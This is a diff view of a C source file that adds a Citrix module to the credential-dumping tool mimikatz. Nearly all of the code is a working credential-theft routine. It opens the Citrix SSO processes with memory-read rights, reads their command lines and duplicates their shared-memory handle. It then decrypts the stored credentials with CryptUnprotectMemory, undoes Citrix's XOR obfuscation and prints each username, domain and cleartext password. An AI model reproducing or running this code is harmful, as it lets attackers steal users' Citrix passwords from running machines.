1
+ /* Benjamin DELPY `gentilkiwi`
2
+ https://blog.gentilkiwi.com
3
+ benjamin@gentilkiwi.com
4
+ Licence : https://creativecommons.org/licenses/by/4.0/
5
+ */
6
+ #include "kuhl_m_misc_citrix.h"
7
+
8
+ void kuhl_m_misc_citrix_logonpasswords (int argc , wchar_t * argv [])
9
+ {
10
+ UNREFERENCED_PARAMETER (argc );
11
+ UNREFERENCED_PARAMETER (argv );
12
+
13
+ kull_m_process_getProcessInformation (Citrix_Each_SSO_Program , NULL );
14
+ }
15
+
16
+ DECLARE_CONST_UNICODE_STRING (_U_ssonsvr , L"ssonsvr.exe" );
17
+ DECLARE_CONST_UNICODE_STRING (_U_wfcrun32 , L"wfcrun32.exe" );
18
+ DECLARE_CONST_UNICODE_STRING (_U_AuthManSvr , L"AuthManSvr.exe" );
19
+ const PCUNICODE_STRING _U_CITRIX_SSO_PROGRAMS [] = { & _U_ssonsvr , & _U_wfcrun32 , & _U_AuthManSvr };
20
+ BOOL CALLBACK Citrix_Each_SSO_Program (PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation , PVOID pvArg )
21
+ {
22
+ DWORD i , ProcessId ;
23
+ HANDLE hProcess ;
24
+ //PKULL_M_MEMORY_HANDLE hMemory;
25
+ //KULL_M_MEMORY_ADDRESS aMemory = { NULL, &hMemory };
26
+ RTL_USER_PROCESS_PARAMETERS UserProcessParameters ;
27
+ KULL_M_MEMORY_ADDRESS aRemote = {NULL , NULL }, aBuffer = {& UserProcessParameters , & KULL_M_MEMORY_GLOBAL_OWN_HANDLE };
28
+ PEB Peb ;
29
+
30
+
31
+ UNREFERENCED_PARAMETER (pvArg );
32
+
33
+ for (i = 0 ; i < ARRAYSIZE (_U_CITRIX_SSO_PROGRAMS ); i ++ )
34
+ {
35
+ if (RtlEqualUnicodeString (_U_CITRIX_SSO_PROGRAMS [i ], & pSystemProcessInformation -> ImageName , TRUE))
36
+ {
37
+ ProcessId = PtrToUlong (pSystemProcessInformation -> UniqueProcessId );
38
+ kprintf (L"\n* %wZ -- pid: %u\n" , & pSystemProcessInformation -> ImageName , ProcessId );
39
+ hProcess = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_DUP_HANDLE , FALSE, ProcessId );
40
+ if (hProcess )
41
+ {
42
+ if (kull_m_memory_open (KULL_M_MEMORY_TYPE_PROCESS , hProcess , & aRemote .hMemory ))
43
+ {
44
+ if (kull_m_process_peb (aRemote .hMemory , & Peb , FALSE))
45
+ {
46
+ aRemote .address = Peb .ProcessParameters ;
47
+ if (kull_m_memory_copy (& aBuffer , & aRemote , sizeof (UserProcessParameters )))
48
+ {
49
+ aRemote .address = UserProcessParameters .CommandLine .Buffer ;
50
+ UserProcessParameters .CommandLine .Buffer = LocalAlloc (LPTR , UserProcessParameters .CommandLine .MaximumLength );
51
+ aBuffer .address = UserProcessParameters .CommandLine .Buffer ;
52
+
53
+ if (UserProcessParameters .CommandLine .Buffer )
54
+ {
55
+ if (kull_m_memory_copy (& aBuffer , & aRemote , UserProcessParameters .CommandLine .MaximumLength ))
56
+ {
57
+ Citrix_SSO_Program_args (aRemote .hMemory -> pHandleProcess -> hProcess , & UserProcessParameters .CommandLine );
58
+ }
59
+ LocalFree (UserProcessParameters .CommandLine .Buffer );
60
+ }
61
+ }
62
+ }
63
+ kull_m_memory_close (aRemote .hMemory );
64
+ }
65
+ CloseHandle (hProcess );
66
+ }
67
+ else PRINT_ERROR_AUTO (L"OpenProcess" );
68
+
69
+ break ;
70
+ }
71
+ }
72
+
73
+ return TRUE;
74
+ }
75
+
76
+ void Citrix_SSO_Program_args (HANDLE hRemoteProcess , PCUNICODE_STRING puCommandLine )
77
+ {
78
+ int i , argc ;
79
+ LPWSTR * argv ;
80
+ HANDLE hRemoteFileMapping = NULL ;
81
+
82
+ argv = CommandLineToArgvW (puCommandLine -> Buffer , & argc );
83
+ if (argv )
84
+ {
85
+ if (argc > 0 )
86
+ {
87
+ for (i = 0 ; i < argc ; i ++ )
88
+ {
89
+ if (_wcsnicmp (argv [i ], L"/HTC:" , 5 ) == 0 )
90
+ {
91
+ hRemoteFileMapping = (HANDLE )(ULONG_PTR )wcstoul (argv [i ] + 5 , NULL , 10 );
92
+ Citrix_SSO_Program_FileMapping (hRemoteProcess , hRemoteFileMapping );
93
+
94
+ break ;
95
+ }
96
+ }
97
+
98
+ if (!hRemoteFileMapping )
99
+ {
100
+ kprintf (L" No shared memory (no SSO enabled?)\n" );
101
+ }
102
+ }
103
+ else PRINT_ERROR (L"No command/module?" );
104
+
105
+ LocalFree (argv );
106
+ }
107
+ else PRINT_ERROR_AUTO (L"CommandLineToArgvW" );
108
+ }
109
+
110
+ void Citrix_SSO_Program_FileMapping (HANDLE hRemoteProcess , HANDLE hRemoteFileMapping )
111
+ {
112
+ HANDLE hFileMapping ;
113
+ PCITRIX_PACKED_CREDENTIALS pCitrixPackedCredentials ;
114
+ PCITRIX_CREDENTIALS pCitrixCredentials ;
115
+
116
+ if (DuplicateHandle (hRemoteProcess , hRemoteFileMapping , GetCurrentProcess (), & hFileMapping , FILE_MAP_READ , FALSE, 0 ))
117
+ {
118
+ pCitrixPackedCredentials = MapViewOfFile (hFileMapping , FILE_MAP_READ , 0 , 0 , sizeof (CITRIX_PACKED_CREDENTIALS ));
119
+ if (pCitrixPackedCredentials )
120
+ {
121
+ //kprintf(L"cbStruct: 0x%08x - ref: 0x%08x\ncbData : 0x%08x - ref: 0x%08x\ndwFlags : 0x%08x\n", pCitrixPackedCredentials->cbStruct, sizeof(CITRIX_PACKED_CREDENTIALS), pCitrixPackedCredentials->cbData, sizeof(CITRIX_CREDENTIALS), pCitrixPackedCredentials->dwFlags);
122
+ pCitrixCredentials = LocalAlloc (LPTR , sizeof (pCitrixPackedCredentials -> Data ));
123
+ if (pCitrixCredentials )
124
+ {
125
+ RtlCopyMemory (pCitrixCredentials , pCitrixPackedCredentials -> Data , sizeof (pCitrixPackedCredentials -> Data ));
126
+ if (CryptUnprotectMemory (pCitrixCredentials , sizeof (pCitrixPackedCredentials -> Data ), CRYPTPROTECTMEMORY_CROSS_PROCESS ))
127
+ {
128
+ CitrixPasswordDesobfuscate ((PBYTE )pCitrixCredentials -> password , pCitrixCredentials -> cbPassword );
129
+ kprintf (L"| Username : %s\n| Domain : %s\n| Password : %.*s\n| flags/type: 0x%08x\n" , pCitrixCredentials -> username , pCitrixCredentials -> domain , pCitrixCredentials -> cbPassword , pCitrixCredentials -> password , pCitrixCredentials -> dwFlags );
130
+ }
131
+ else PRINT_ERROR_AUTO (L"CryptUnprotectMemory" );
132
+
133
+ LocalFree (pCitrixCredentials );
134
+ }
135
+
136
+ UnmapViewOfFile (pCitrixPackedCredentials );
137
+ }
138
+ else PRINT_ERROR_AUTO (L"MapViewOfFile" );
139
+
140
+ CloseHandle (hFileMapping );
141
+ }
142
+ else PRINT_ERROR_AUTO (L"DuplicateHandle" );
143
+ }
144
+
145
+ void CitrixPasswordObfuscate (PBYTE pbData , DWORD cbData )
146
+ {
147
+ DWORD i ;
148
+ BYTE prec ;
149
+
150
+ for (i = 0 , prec = 0x00 ; i < cbData ; i ++ )
151
+ {
152
+ pbData [i ] ^= prec ^ 'C' ;
153
+ prec = pbData [i ];
154
+ }
155
+ }
156
+
157
+ void CitrixPasswordDesobfuscate (PBYTE pbData , DWORD cbData )
158
+ {
159
+ DWORD i ;
160
+ BYTE prec , sprec ;
161
+
162
+ for (i = 0 , prec = 0x00 ; i < cbData ; i ++ )
163
+ {
164
+ sprec = pbData [i ];
165
+ pbData [i ] ^= prec ^ 'C' ;
166
+ prec = sprec ;
167
+ }
168
+ }
0 commit comments